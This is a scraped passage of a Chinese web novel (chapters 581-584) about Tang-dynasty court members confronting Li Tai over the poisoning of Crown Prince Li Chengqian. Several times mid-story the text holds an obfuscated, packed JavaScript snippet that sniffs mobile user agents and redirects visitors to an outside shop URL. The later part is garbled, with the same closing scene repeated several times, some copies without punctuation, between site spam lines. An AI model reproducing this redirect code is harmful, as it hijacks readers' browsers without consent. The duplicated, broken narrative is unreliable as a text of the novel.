李泰同样被吓到了,“子安兄,你别开玩笑啊,我怎么可能给太子下毒,我......我都无心皇位,发誓余生只专注于科学啊!” “是吗?”陈衍眼中怒火更甚,“那你告诉我,为什么你那些被打压下去的旧部,在喝醉的时候说他们本来有机会东山再起!” “而且在李承乾中毒前,多次暗中接触,似是在密谋什么,你还说跟你没关系?” “不......不是!”李泰这下真的懵了,也慌了,“卧槽,子安兄,你相信我,此事真的跟我无关,我不知道啊!” “你不知道?”陈衍被气笑了,“合着你的意思是说,你的人跑去给李承乾下毒,就是为了扶持你成为太子,从而博一个扶龙之功,而你这个要被扶的龙不知道?” “我......” 李泰脸都绿了。 天菩萨嘞! 如果他知道一点也就罢了,还不算冤。 关键是他确实一点都不知道啊,全心全意地钻研神威大炮,谁特么闲着没事给李承乾下毒,当什么狗屁太子啊? 更关键的是,人家好像已经查到了一点消息,就是他的旧部人做的。 这特么找谁说理去啊? “......” 第581章 好大一口锅 “渭国公,此事是不是有什么误会?我夫君从前是跟太子有争夺,但尚且处于**、官场上的争夺,没有达到要危害对方性命的程度啊。” 魏王妃实在坐不住了,此事若不搞明白,他们一家估计都会陷入万劫不复之地,难怪陈衍如此愤怒。 “更何况您又不是不知道,我家夫君现在全心全意放在了钻研神威大炮身上,无心皇位之争,陛下也意识到从前一些不妥的地方,清理了我夫君拉拢的官员势力,让太子坐稳了东宫之位。” “我觉得此事定然有蹊跷,不如我们先查查到底是怎么回事,如果是误会,那么该怎么处理就怎么处理,如果不是.我们一家任陛下处置,如何?” 陈衍听完了魏王妃一番话,心中的怒气稍稍减退,按着李泰的手也松了一些。 李泰连连点头,“是啊,子安兄,此事我真的不清楚,你给我一点时间,我现在回去好好查查,如果真是下面不开眼的人做的,我亲自去跟太子负荆请罪,请阿耶阿娘责罚。” “咱们都接触这么久了,我什么人你应该了解一些,你总得给我一个自证清白的机会吧。” 说着说着,李泰这个小胖子莫名地委屈。 天杀的。 真是好大一口锅啊! 给太子下毒? 你麻麻的吻,这是人能干出来的事? 陈衍深吸一口气,沉声道:“三日,我只给你三日,不管你用什么办法,三日之内,必须给我一个结果!” “而且你也知道这件事多重要,你阿耶阿娘对此事又有多看重,再一个,这件事是绝对瞒不住的,如果真是你,也别想着蒙混过关!” “倘若你真的不知道此事你同样逃不了这口黑锅,给储君下毒,**帝国继承者,这种事的先河绝对不能开,你自己做好心理准备。” “青雀,别怪我对你说狠话,这件事还是郑观音查出来的,你应该意识到问题的严重性.” 这话一出,李泰和魏王妃人都麻了。 谁查出来不好,为什么偏偏是郑观音? 玄武门 之变仍在眼前,结果郑观音这个受害者之一又看到了这样一出? 此事已经不单单是毒害太子了,更涉及到了李世民的底线。 “我明白了,这就去查!” “.” “废物!都是一帮废物!” “朕养你们是干什么吃的?” 甘露殿的案几被瞬间掀翻,洒落一地的文书、笔无不彰显着李世民此刻心中的愤怒。 下面的李君羡、李道宗、无舌以及周边的宦官宫女跪倒一片,无人敢开口。 只有高阳默默站在一旁,心里担心着陈衍该不会又去打李泰了吧? “朕给了你们那么长时间,结果你们什么都没查到,结果让郑观音查了出来!”李世民闭了闭眼,缓缓道:“所以,朕那么大力的培养你们,要人给人、要权给权、要钱给钱,你们就是这么办事的?” “还不如一个常年足不出户妇道人家?” “你们说,朕还要你们做什么?” “陛下。”李道宗吞了口唾沫,不敢抬头,小心翼翼地解释道:“我等属实没料想到此事会跟.会跟有关啊。” “实在是他们选择的时机太过巧妙,正值您与世家冲突加剧,且已经逐渐掌握主动的关键节点。” “这些日子以来,臣一直在想尽办法打入世家内部,注意力都放在了世家和韦家残余势力那边。” “况且.魏王拉拢的势力被人清扫,谁也不知道他们有这么大的胆子和力量,竟然能神不知鬼不觉地给太子殿下下毒.” “臣,臣有罪!” 说到最后,李道宗自己都有些解释不清楚了,因为这个确实谁都没想到。 起初,不管是李世民,或者陈衍,都下意识地认为是世家狗急跳墙了。 没想到此事真跟他们一点关系没有。 着实令人没想到。 “过程重要吗?” 李世民坐了下来,手掌死死捏住椅子扶手,厉声道:“朕要看的是结果!结果!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110595|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “结果就是你们 没有查出来,而郑观音查了出来!!!” “没想到!如果什么都能想到的话,那朕要你们的目的是什么?花那么大代价组建你们又是为了什么?” “你们难道不应该给朕一个解释吗?” 这下,李道宗再也说不出一句话了,因为现在不管说什么都是苍白无力的。 没查出来就是没查出来。 是他们失职了。 “父皇.” 此时,一旁静静站着的高阳轻轻叫了一声,李世民语气中的冷意这才减缓了一些,但神情依旧不怎么好看:“什么事。” “儿臣认为,现在继续深究这个已经没有必要了,目前的当务之急,是要控住消息,免得传播出去.不管此事是否跟四皇兄有关,终究得关起门来处理。” “目前科举已经结束,大家都在等着放榜,儿臣的夫君昨日跟儿臣提起过,他们已经跟魏侍中初步达成了意见,打算在科举放榜之后提议您明年前往泰山封禅。” “此事.不管如何都算是一桩丑闻,现在不宜爆出来。” 李世民顿了顿,注意力完全被高阳的话吸引住了。 仔细琢磨了一会儿,他微微叹息一声,淡淡道:“子安呢?为何是你前来?” 高阳顿时不说话了。 见她的表情,李世民大概也猜到了一点。 想起玄武门之时的惊心动魄,以及兄弟相残的一幕,李世民扯了扯嘴角,扬起一抹自嘲的笑。 他忽然感觉有些累了,闭上眼,靠在椅子上,轻飘飘地挥了挥手,“去吧,盯着魏王,顺着这条线往下查,将有关此事的人全部揪出来,然后” “呵呵,马匪截杀也好,****也罢,一个都不许留下!” “是!微臣告退!” 李道宗和李君羡心中一凝,再度叩首,退去了。 “高阳啊” “儿臣在!” “你回去吧,让子安带上丽质和小岁安,去一趟立政殿吧.” “.” 第582章 该怎么跟长孙皇后说? 当高阳心事重重地回到家,陈衍已经回来了。 她顺手拉过一个下人询问,“魏王和魏王妃回来没有?” 下人道:“回公主殿下,说来奇怪,魏王妃中午的时候都会给魏王殿下去送午膳,按理来说这个时候应该回来了,但今日却没有回来。” “欣儿呢?”高阳又问。 “小殿下现在应该在午睡。”下人回道。 “.那,本宫的夫君回来没有?” 下人这次迟疑了一下,小声道:“公主殿下,国公大人方才回来了,回了主卧,不过看上去心情很不好,您.您别招惹他.” “滚!” 高阳气愤地吼了一声,黑着脸走了。 进入主卧,她便发现陈衍躺在摇椅上,闭着眼没说话,而李丽质抱着小岁安坐在一旁,气氛显得很是诡异。 见她回来,李丽质赶紧起身,来到她身旁,小声问道:“今日夫君的心情好像很不好,回来之后一句话都没说过。” 她意在提醒高阳,今日莫要招惹陈衍了,免得挨打。 高阳脸更黑了,不过现在不是在乎这些的时候,沉默两息,说:“父皇让你带着我们去立政殿一趟。” 陈衍长叹,“丽质,你去收拾一下,换身衣服,随我进宫吧。” 李丽质不解,直到现在她还没搞清楚到底发生了什么,犹豫了一下,把怀里的小岁安递给高阳抱着,自己去换衣服了。 “你父皇还说什么了?”陈衍轻声询问。 高阳道:“父皇起初很愤怒,责怪李道宗他们办事不力,连郑观音都不如,后来似乎心情很不好,让李道宗他们顺着这条线往下查,然后便让你带着我们去一趟立政殿。” “其他的倒是没说什么。” 说完,她顿了顿,忧心忡忡道:“夫君.你说今后该怎么办啊?” “凉拌呗,还能怎么办!?”陈衍望着屋顶,也有些心累了。 他多么希望,下毒之人真的是世家。 如此一来,事情就好解决了,大 不了以后慢慢报复。 只是现在下毒的人是从前李泰的属下,不管李泰知不知道这件事,都已经跟他脱不了关系了。 只怕这两兄弟今后心里都有一根刺啊. 而且,李世民让自己带着妻女前往立政殿,显然是让他们去跟长孙皇后说这件事。 但他又怎么好开口? 怎么说? 现在什么都还没查清楚。 难不成说你二儿子的手下暗害你大儿子? 作为玄武门的亲身经历者,这种事不光是李世民的底线,长孙皇后又何尝不是? “哎,你去准备一下吧,待会跟我进宫一趟。 “好。 高阳抿了抿唇,轻轻颔首。 半个时辰之后。 陈衍带着一大家子,连同兕子和城阳一起,三辆马车驶向皇宫。 而此时,李丽质也从高阳口中得知了事情的具体经过,但她实在不知道该说什么。 也清楚了为何陈衍跟高阳的表情那般复杂了。 安静了一会儿,她忍不住开口道:“你们想好待会怎么跟阿娘说了吗? 这个问题,还真问到了点子上。 陈衍和高阳对视一眼,然后同时把目光放在了她身上。 李丽质一怔,随即反应过来,一双好看的桃花眼倏地瞪大,“你们想让我来说? 陈衍干咳,“丽质啊,此事除了你比较好说一点,咱们都不太合适啊。 “我只是女婿,而高阳不是长孙皇后的亲生女儿,兕子和城阳还小,你总不能指望她们吧? “我 李丽质涨红了脸,“我我我,我也不知道该怎么说啊,你们甚至都没给我一个心理准备。 “我还是刚刚才得知此事的。 说完这句话,三人同时沉默了。 半晌,陈衍闷闷道:“过去了再说吧。 李丽质捂了捂脸,“只能这样了。 “. 后宫立政殿。 长孙皇后对于突然到来的陈衍一家 “子安快快进来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110596|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她热情地招呼陈衍一家坐下看着自己几个女儿和外孙女心情一下子好了。 “皇后殿下多日不见您好像又年轻了些许哈。”陈衍笑着说。 “是吗?”长孙皇后笑容更甚摸了摸自己的脸“你这孩子我都一大把年纪了都是七个孩子的娘了老啦。” “怎么会呢?”李丽质附和道:“阿娘才不老阿娘不光显得年轻在儿臣心里更年轻永远都是儿臣心目中最美的阿娘。” 长孙皇后笑了笑看了看李丽质和高阳转而盯着陈衍“今天你们几个嘴倒是挺甜。” “上来就哄本宫高兴。” “说吧是在外面惹什么祸自己解决不了跑过来找本宫帮忙还是有事相求啊?” 她说这话本来是玩笑居多小部分带着点试探的意味因为她从几人的表情上确实隐隐感觉有点不对。 他们有心事。 却没曾想当她话音落下的那一刻几人都不说话了你推我搡相互推诿就是没有一个人站出来说事。 长孙皇后诧异道:“你们几个小家伙真有事?” 而后陈衍和高阳默契地把李丽质往前推了推李丽质无奈有心想开口但吞吞吐吐的就是说不出来一句话。 长孙皇后此刻的笑容已经彻底收敛心里涌现出了一股不安。 以陈衍和高阳口无遮拦的性子天下有几件事是他们不敢说的? 更何况还有李丽质她连自己私底下的小癖好都能跟自己说如今却如此迟疑。 长孙皇后当即意识到了不妙严肃了起来“丽质你们到底有什么事?难不成跟阿娘还不能说吗?” “阿娘我.” “哎呀!” 兕子实在看不下去了叉着小腰“阿姐你到底能不能说啊?” “不就是毒害太子兄长的凶手是四皇兄嘛有什么不好说的?” “高阳阿姐告诉你的时候我都听到啦。” 陈衍一家:“.” 长孙皇后愣住了待反应过来之后只觉得胸口无比烦闷眼前的景象开始变得模糊、天旋地转。 “阿娘!!!” “.” 第583章 李承乾:啥?青雀给我下毒? 立政殿内,众人**在一起,气氛压抑得可怕。 连李世民听闻长孙皇后晕倒,也赶了过来。 不过他没说什么,只询问陈衍有没有大碍。 得到没什么大碍,只是急火攻心的答案之后,便坐了下来,一言不发。 “阿姐,我是不是说错话了呀。” 角落里,兕子跟城阳凑在一起,弱弱地问。 城阳郁闷道:“应该不算说错话吧,只是说话太直了,阿娘一时间有点接受不了。” 她年纪终归大了一点,懂得更多,不像兕子,看似很聪明,实际上懂得并不多。 “可可是阿娘都晕倒了。” 兕子瘪着小嘴,豆大的泪滴哗哗地往下流,但又不敢打扰李世民和陈衍他们,只敢小声地抽泣。 李丽质听到了妹妹的哭声,叹了口气,走过来,把她抱在怀里轻声安慰: “好啦,不哭啦。” “阿娘只是睡着了,等阿娘睡醒了就好了。” “阿姐,我已经不是三岁小孩了,我已经四岁多了,你不要想着骗我,阿娘分明是晕倒了。” 李丽质:“.” 小破孩! 该懂的不懂,不该懂的倒是懂得挺多! “阿娘!” 这时,收到消息的李承乾急急忙忙地赶过来,他到现在还没明白具体发生了什么,眼看长孙皇后晕过去,连忙拉着陈衍: “子安兄,我阿娘她没事吧?怎么会突然晕倒呢?是因为气疾吗?” “可气疾经过你的药物,分明已经好了很多啊,阿娘都很久没有发病了。” 陈衍张了张嘴,龇着牙花,根本不知道该怎么跟李承乾说。 总不能告诉人家,你阿娘是因为知道是二儿子给你下毒,险些害得你身死,才晕过去的吧? 这件事还没确定。 到底跟李泰有没有关系还两说! “好啦!” “别吵了,让你阿娘休息一下!” 另一边,一直未曾开口的李世民替陈衍解了围。 跟在后面,刚进来的太子妃一下便察觉了殿内气氛很沉重,一言不发地往李丽质和高阳那边慢慢走过去。 想打听打听什么情况。 李承乾愣了愣,看了看神情复杂的陈衍,又看了看脸色黑如锅底的李世民,心里浮现出一股不妙的预感。 阿娘该不会是不行了吧? 想到这里,李承乾鼻子一酸,腿一软,就跪了下去。 “阿娘.阿娘啊!!!” 众人:“.” 李世民额头绷出两条青筋,这逆子这是干什么呢? 哭丧呢? **,自己这些儿子,怎么就没一个让人省心的。 正当他要爆发的时候,忽然听到了长孙皇后虚弱的呼喊。 “孩子.我的孩子承乾” “阿娘!?” 李承乾懵了一瞬,随即眼里绽放出璀璨的惊喜,忙不迭地跪走上去,握着长孙皇后缓缓抬起来的手。 “阿娘,我在呢,承乾在呢。” 他慌忙地拉着长孙皇后的手,放在自己脸上,“阿娘,你看,是我啊,是承乾啊。” “观音婢!” 李世民也坐不住了,跟李丽质她们一同围了过去。 “观音婢,你感觉怎么样?有没有哪里不舒服,头晕?还是难受?” “子安!子安!你还愣着干什么?赶紧过来给朕的观音婢看看!” “.承乾”长孙皇后眼里满是疲惫,理都没理焦急的李世民等人,看着面前的孩子,心中酸涩,“承乾,阿娘求你一件事,好不好?” 李承乾更懵了,但还是下意识应道:“阿娘,您不用求,您有什么事尽管说,只要儿臣能办到,儿臣肯定答应下来。” “尽管说冤有头,债有主,但你们都是阿娘的孩子,是我十月怀胎,吃尽苦头,从身上掉下来的一块肉。他先对你下狠手,你无论怎么做,阿娘都不怪你。” “但是阿娘求你.求你放青雀家人一条生路让欣儿回自己的封地永不踏足长安上一辈的恩怨就在上一辈解决.可好?” 说实话在听到长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110597|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙皇后的请求之后李承乾脑子都宕机了。 不明白情况的他甚至都不能理解长孙皇后的意思。 什么叫上一辈的恩怨就在上一辈解决什么又叫放欣儿一条生路? 这是要干啥啊? 知晓一切的陈衍忙开口解释“皇后殿下此事尚且没有确定下来呢兕子年纪小听到了几句话乱说的。” “给太子下毒的是魏王从前的旧部还不确定跟魏王有没有关系我已经问过魏王了他表现得很疑惑好似并不知情可能只是魏王旧部擅自做的决定想**.” “.啥?”李承乾两眼懵逼。 被陈衍说出来的消息彻底震惊了。 给我下毒的.是李泰的旧部? “父皇这.” 他不解地看向李世民希望能从对方口中得到一个答案。 实际上他很难相信这个话。 李泰如今是什么样大家都看在眼里。 可以说没什么能比得上他的神威大炮已经彻底熄了争夺皇位的心。 不.应该不太可能给他下毒想谋害他吧? 但现在的李世民脑子同样很乱而且没有查清之前谁都不知道情况如何。 “此事还没定性朕已经让李君羡和李道宗派人盯着青雀也让他们顺着这条线往下查了。” “具体的情况尚未可知或许是青雀从前拉拢的人擅自做决定也有可能是青雀目前表现出来的只是在掩人耳目下毒一事.或许真是他指使。” “暂且先等等吧已经有了一点眉目相信很快便能查出来!” 然而长孙皇后在听到陈衍的话之后瞳孔涣散了一瞬连续数种情绪划过。 有惊喜、有期望更有担心、有惶恐。 这是一位母亲的艰难挣扎。 而后她脸色黑了一下目光下移瞪了眼抽泣的小兕子深吸几口气: “把青雀给本宫叫过来!” “本宫亲自问他!” “.” 小说的域名caixs.com?(请来才 小说 看最新章节 完整章节) 第584章 本是同根生 直到天色渐晚,收到传唤的李泰才急匆匆地赶到了立政殿。 一进来,便发现大家都在。 除了自己的兄弟姐妹,还有太子妃、陈衍、李世民等人。 而长孙皇后此刻已经坐了起来,凤眸含煞,厉声道:“跪下!” 李泰一言不发,扑通跪了下去,重重叩首。 “阿娘.” “你还有脸叫本宫阿娘?”长孙皇后眼里闪过一丝痛苦,旋即便被压下去,狠下心道:“昔日,承乾身中剧毒,连子安都束手无策,只能用强力泻药才捡回一条命!” “你敢说此事跟你无关吗!?” 李泰真的想哭了,红着眼低声嘶吼:“阿娘,此事儿臣当真不知情,但若是儿臣从前拉拢的部下做的,儿臣也不敢说完全与此事无关!” “儿臣知道不管怎么说,此事已经跟儿臣脱不了关系,但儿臣敢对着列祖列宗发下毒誓,儿臣绝对没有丝毫毒害皇兄的心思!” “从前没有,如今更不会有!” “那好!”长孙皇后闭上眼,“你告诉本宫,一群被你父皇打压下去的残存势力,仅仅只剩下不大不小的几只,是如何制定如此完整的下毒计划,瞒过了所有人,绕过了东宫层层守卫、监管,给承乾**的?” “是谁!在为他们遮掩?!” “又是谁,有这么大的力量,能在下毒之后,把一切线索全部斩断,让你父皇这么久以来都查不出任何消息!” “还是靠着郑观音她们从前的旧部,从你拉拢的那批人喝醉之后,才得到的只言片语?” “整个天下,有几人能做到这一步?” “如今的子安都不行,你告诉本宫,你不知情?” 哎! 陈衍挠挠头,关于这件事,他还真有话说了。 如果他想给李承乾下毒,起码有九种办法,整整九种。 李丽质似乎察觉了他的异色,手肘不动声色地怼了怼他。 陈衍顿时不敢动了。 李世民表情复杂 。 这个问题,其实大家心里都很清楚。 陈衍即使嘴上说着李泰可能确实不知情,但其中可疑的点依旧太多了。 东宫是什么地方? 防御力量可以说是天下数一数二的,想绕过这些防护力量,用那么精妙的办法给李承乾下毒,整个天下能做到的人掰着手指头都能数得过来。 这才是李泰最大的嫌疑点啊。 因为从前势力庞大,总跟太子作对的他,有机会做到这一点。 李泰无言以对,叩首跪在长孙皇后面前,说不出一句话。 就在长孙皇后要失望的时候,他开口了,声音干涩:“以前.儿臣在东宫安插过人手,用于.用于打探消息。” 说完,他急忙补充道:“只是儿臣从渭国公那里得知了热气球、**、神威大炮,以及科学的知识之后,儿臣就再也没管过这些人。” “儿臣认为.此事应当跟他们有关.” 李承乾嘴角抽搐,偏过头去。 李世民被气笑了,而长孙皇后则是痛苦地闭上眼,“在东宫安插人手,亏你做得出来!” “青雀,你真是好大的胆子啊你到底想干什么!?” 李泰眼神暗淡,“阿娘,我知道我现在无论解释什么,您都听不进去,但请您给儿臣一点时间,让儿臣查清楚此事。” “不管结果如何,儿臣会给皇兄一个交代的。” 长孙皇后轻声道:“青雀啊,我还能相信你吗?” “你辜负了我,辜负了你父皇,辜负了你皇兄,更辜负了子安。” 李泰再次沉默。 “我累了,你们都走吧,此事我不管了。” “都走!” 长孙皇后挥挥手,脸上满是疲惫,语气却不容置疑。 玄武门之变还历历在目,如今又发生这样的事,她真的累了。 李泰重重对长孙皇后磕了三个响头,又朝李承乾磕了一个,“皇兄,是我对不住你,给我一点时间吧我会给你一个交代的。” 李承乾定定望了他两息。 在这一刻不知道为何原本得知是李泰从前手下对自己下毒导致自己吃了那么多苦头从而对李泰产生的那点怨气 忽然就消散了。 煮豆燃豆萁! 豆在釜中泣! 本是同根生! 相煎何太急! 他微微一叹笑了笑轻轻点头“青雀不必自责如果你真的问心无愧我不怪你。” “我们是兄弟啊。” 当李承乾话音落下的那一刻 “是是.皇兄!” 此刻的李泰语无伦次泪水混杂着鼻涕沾在胡茬上掩面痛哭心里百感交集。 他不怕陈衍对自己的质问不怕父皇等人对自己露出失望的眼神。 更不怕长孙皇后对他如此态度。 他唯一怕的就是面对李承乾。 因为不管怎么说对方都险些因为自己身死。 这是事实。 而现在他却从对方口中听到了这么一句话。 “我走了我走了等我!” 说完这句话李泰再也待不住了头也不回地离开。 长孙皇后想要安静陈衍等人也全部离开了。 走出立政殿陈衍叹道:“哎怎么就发生这么档子事儿呢?” “你感慨什么?” 李承乾一身轻松无所谓道:“反正当初吃苦的是我我都还没说什么呢。” 陈衍无语道:“你心真是够大的亏你现在还能笑得出来。” “算了你自己心里有数就好魏王连从前在东宫安插过人手都说了出来这件事到底怎么样等等结果吧。” “反正今后该头疼的是你们。” 李世民没好气道:“你说的什么屁话?” “先前不还说一个女婿半个儿吗?你娶朕两个女儿那不就是一个儿?” “合着你就不管了?” “我咋管啊?”陈衍无奈道:“我现在一样头疼呢你们该想想办法吧皇后殿下身体本来好好的正在慢慢恢复如今来了这么一遭急火攻心。” “要我说现在咱们该注意的是皇后殿下的心情和身体情况。” “.” 你的朋友正在书荒,快去帮帮他吧 李承乾定定望了他两息。 在这一刻,不知道为何,原本得知是李泰从前手下对自己下毒,导致自己吃了那么多苦头,从而对李泰产生的那点怨气 忽然就消散了。 煮豆燃豆萁! 豆在釜中泣! 本是同根生! 相煎何太急! 他微微一叹,笑了笑,轻轻点头,“青雀,不必自责,如果你真的问心无愧,我不怪你。” “我们是兄弟啊。” 当李承乾话音落下的那一刻,李泰忽然愣住了,心里积压的委屈和憋屈在这一刻如洪水破堤般喷涌而出。 “是是.皇兄!” 此刻的李泰语无伦次,泪水混杂着鼻涕沾在胡茬上,掩面痛哭,心里百感交集。 他不怕陈衍对自己的质问,不怕父皇等人对自己露出失望的眼神。 更不怕长孙皇后对他如此态度。 他唯一怕的,就是面对李承乾。 因为不管怎么说,对方都险些因为自己身死。 这是事实。 而现在,他却从对方口中听到了这么一句话。 “我走了我走了,等我!” 说完这句话,李泰再也待不住了,头也不回地离开。 长孙皇后想要安静,陈衍等人也全部离开了。 走出立政殿,陈衍叹道:“哎,怎么就发生这么档子事儿呢?” “你感慨什么?” 李承乾一身轻松,无所谓道:“反正当初吃苦的是我,我都还没说什么呢。” 陈衍无语道:“你心真是够大的,亏你现在还能笑得出来。” “算了,你自己心里有数就好,魏王连从前在东宫安插过人手都说了出来,这件事到底怎么样,等等结果吧。” “反正今后该头疼的是你们。” 李世民没好气道:“你说的什么屁话?” “先前不还说一个女婿半个儿吗?你娶朕两个女儿,那不就是一个儿?” “合着你就不管了?” “我咋管啊?”陈衍无奈道:“我现在一样头疼呢,你们该想想办法吧,皇后殿下身体本来好好的,正在慢慢恢复,如今来了这么一遭急火攻心。” “要我说,现在咱们该注意的是皇后殿下的心情和身体情况。” “.” 你的朋友正在书荒,快去帮帮他吧 李承乾定定望了他两息。 在这一刻不知道为何原本得知是李泰从前手下对自己下毒导致自己吃了那么多苦头从而对李泰产生的那点怨气 忽然就消散了。 煮豆燃豆萁! 豆在釜中泣! 本是同根生! 相煎何太急! 他微微一叹笑了笑轻轻点头“青雀不必自责如果你真的问心无愧我不怪你。” “我们是兄弟啊。” 当李承乾话音落下的那一刻李泰忽然愣住了心里积压的委屈和憋屈在这一刻如洪水破堤般喷涌而出。 “是是.皇兄!” 此刻的李泰语无伦次泪水混杂着鼻涕沾在胡茬上掩面痛哭心里百感交集。 他不怕陈衍对自己的质问不怕父皇等人对自己露出失望的眼神。 更不怕长孙皇后对他如此态度。 他唯一怕的就是面对李承乾。 因为不管怎么说对方都险些因为自己身死。 这是事实。 而现在他却从对方口中听到了这么一句话。 “我走了我走了等我!” 说完这句话李泰再也待不住了头也不回地离开。 长孙皇后想要安静陈衍等人也全部离开了。 走出立政殿陈衍叹道:“哎怎么就发生这么档子事儿呢?” “你感慨什么?” 李承乾一身轻松无所谓道:“反正当初吃苦的是我我都还没说什么呢。” 陈衍无语道:“你心真是够大的亏你现在还能笑得出来。” “算了你自己心里有数就好魏王连从前在东宫安插过人手都说了出来这件事到底怎么样等等结果吧。” “反正今后该头疼的是你们。” 李世民没好气道:“你说的什么屁话?” “先前不还说一个女婿半个儿吗?你娶朕两个女儿那不就是一个儿?” “合着你就不管了?” “我咋管啊?”陈衍无奈道:“我现在一样头疼呢 “要我说现在咱们该注意的是皇后殿下的心情和身体情况。” “.” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 李承乾定定望了他两息。 在这一刻不知道为何原本得知是李泰从前手下对自己下毒导致自己吃了那么多苦头从而对李泰产生的那点怨气 忽然就消散了。 煮豆燃豆萁! 豆在釜中泣! 本是同根生! 相煎何太急! 他微微一叹笑了笑轻轻点头“青雀不必自责如果你真的问心无愧我不怪你。” “我们是兄弟啊。” 当李承乾话音落下的那一刻李泰忽然愣住了心里积压的委屈和憋屈在这一刻如洪水破堤般喷涌而出。 “是是.皇兄!” 此刻的李泰语无伦次泪水混杂着鼻涕沾在胡茬上掩面痛哭心里百感交集。 他不怕陈衍对自己的质问 更不怕长孙皇后对他如此态度。 他唯一怕的就是面对李承乾。 因为不管怎么说对方都险些因为自己身死。 这是事实。 而现在他却从对方口中听到了这么一句话。 “我走了我走了等我!” 说完这句话李泰再也待不住了头也不回地离开。 长孙皇后想要安静陈衍等人也全部离开了。 走出立政殿陈衍叹道:“哎怎么就发生这么档子事儿呢?” “你感慨什么?” 李承乾一身轻松无所谓道:“反正当初吃苦的是我我都还没说什么呢。” 陈衍无语道:“你心真是够大的亏你现在还能笑得出来。” “算了你自己心里有数就好魏王连从前在东宫安插过人手都说了出来这件事到底怎么样等等结果吧。” “反正今后该头疼的是你们。” 李世民没好气道:“你说的什么屁话?” “先前不还说一个女婿半个儿吗?你娶朕两个女儿那不就是一个儿?” “合着你就不管了?” “我咋管啊?”陈衍无奈道:“我现在一样头疼呢你们该想想办法吧皇后殿下身体本来好好的正在慢慢恢复如今来了这么一遭急火攻心。” “要我说现在咱们该注意的是皇后殿下的心情和身体情况。” “.” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 李承乾定定望了他两息。 在这一刻,不知道为何,原本得知是李泰从前手下对自己下毒,导致自己吃了那么多苦头,从而对李泰产生的那点怨气 忽然就消散了。 煮豆燃豆萁! 豆在釜中泣! 本是同根生! 相煎何太急! 他微微一叹,笑了笑,轻轻点头,“青雀,不必自责,如果你真的问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110598|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心无愧,我不怪你。 “我们是兄弟啊。 当李承乾话音落下的那一刻,李泰忽然愣住了,心里积压的委屈和憋屈在这一刻如洪水破堤般喷涌而出。 “是是.皇兄! 此刻的李泰语无伦次,泪水混杂着鼻涕沾在胡茬上,掩面痛哭,心里百感交集。 他不怕陈衍对自己的质问,不怕父皇等人对自己露出失望的眼神。 更不怕长孙皇后对他如此态度。 他唯一怕的,就是面对李承乾。 因为不管怎么说,对方都险些因为自己身死。 这是事实。 而现在,他却从对方口中听到了这么一句话。 “我走了我走了,等我! 说完这句话,李泰再也待不住了,头也不回地离开。 长孙皇后想要安静,陈衍等人也全部离开了。 走出立政殿,陈衍叹道:“哎,怎么就发生这么档子事儿呢? “你感慨什么? 李承乾一身轻松,无所谓道:“反正当初吃苦的是我,我都还没说什么呢。 陈衍无语道:“你心真是够大的,亏你现在还能笑得出来。 “算了,你自己心里有数就好,魏王连从前在东宫安插过人手都说了出来,这件事到底怎么样,等等结果吧。 “反正今后该头疼的是你们。 李世民没好气道:“你说的什么屁话? “先前不还说一个女婿半个儿吗?你娶朕两个女儿,那不就是一个儿? “合着你就不管了? “我咋管啊? 说的域名caixs.com?(请来才小 说 看最新章节 完整章节)陈衍无奈道:“我现在一样头疼呢,你们该想想办法吧,皇后殿下身体本来好好的,正在慢慢恢复,如今来了这么一遭急火攻心。 “要我说,现在咱们该注意的是皇后殿下的心情和身体情况。 “. 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 李承乾定定望了他两息。 在这一刻,不知道为何,原本得知是李泰从前手下对自己下毒,导致自己吃了那么多苦头,从而对李泰产生的那点怨气 忽然就消散了。 煮豆燃豆萁! 豆在釜中泣! 本是同根生! 相煎何太急! 他微微一叹,笑了笑,轻轻点头,“青雀,不必自责,如果你真的问心无愧,我不怪你。” “我们是兄弟啊。” 